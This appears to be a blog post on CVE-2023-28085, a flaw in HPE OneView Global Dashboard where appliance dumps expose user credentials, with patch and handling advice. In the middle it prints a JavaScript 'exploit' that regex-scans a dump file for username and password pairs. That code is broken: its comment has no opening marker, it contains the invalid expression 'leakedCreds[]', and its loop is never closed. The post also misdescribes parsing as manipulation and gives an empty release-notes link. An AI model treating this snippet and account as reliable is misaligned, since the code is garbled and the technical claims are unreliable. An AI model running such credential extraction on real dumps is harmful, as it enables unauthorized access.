Hewlett Packard Enterprise (HPE) OneView Global Dashboard (OVGD) is a popular platform that provides a unified view of the health status, as well as the inventory management of HPE servers, storage, and networking resources. A critical vulnerability has been identified in its appliance dump feature (designated as CVE-2023-28085) that may lead to the exposure of OVGD user account credentials.

In this blog post, we will dive deep into the details of this vulnerability, how it could be exploited, and what preventive measures can be taken. We will also provide code snippets and links to the original CVE references to better illustrate the issue. Let's jump right in!

Vulnerability Details

CVE-2023-28085 affects HPE OneView Global Dashboard appliances running versions prior to 2.5. This vulnerability is caused by the insufficient security measures in place when generating appliance dumps. As a result, an attacker can access sensitive information, including user account credentials, from the appliance's logs.

Using these leaked credentials, an attacker can then gain unauthorized access to the OVGD platform, taking control of the organization's infrastructure to launch further attacks, disrupt services or exfiltrate sensitive data.

To understand how this vulnerability can be exploited, consider the following code snippet

 * CVE-2023-28085_exploit.js
 * Exploit for HPE OVGD appliance dumps credentials leakage

const fs = require('fs');

// Load the appliance dump file 
const dumpFilePath = './path/to/appliance_dump.json';
const dumpFile = JSON.parse(fs.readFileSync(dumpFilePath, 'utf8'));

// Extract the sensitive logs
const logs = dumpFile.logs;

// Regular expression to match credentials
const credsRegex = /(\'|\")username(\'|\")\s*:\s*(\'|\")[^\'\"]+(\'|\")\s*,\s*(\'|\")password(\'|\")\s*:\s*(\'|\")[^\'\"]+(\'|\")/gi;

// Find and log the leaked credentials
let leakedCreds;
while ((leakedCreds = credsRegex.exec(logs)) !== null) {
  console.log('Leaked Credentials:', leakedCreds[]);

This code snippet demonstrates how an attacker could manipulate the appliance dump to extract OVGD user account credentials. Once the attacker has the leaked credentials, they can use them to gain unauthorized access to OVGD resources, potentially causing severe damage to the organization.

Mitigation Recommendations

To mitigate this vulnerability, HPE has released a security update in OVGD version 2.5. Users should immediately update their software to the latest version. More information regarding the update can be found in the HPE's release notes at the following link:

- HPE OVGD Release Notes

In addition to updating the software, users should also securely handle their OVGD appliance dumps. Make sure that appliance dumps are only accessible to authorized personnel and deleted as soon as they are no longer required.


CVE-2023-28085 is a critical vulnerability in HPE OneView Global Dashboard appliances that can lead to the exposure of user account credentials. To keep your organization safe, it is essential to stay informed, update your software to the latest versions, and follow best practices in dealing with sensitive information.

By understanding, identifying, and mitigating such security risks, you can ensure that your organization remains safe from potential cyber-attacks in the future. Stay safe, stay informed, and stay vigilant.


Published on: 04/14/2023 15:15:00 UTC
Last modified on: 04/21/2023 03:44:00 UTC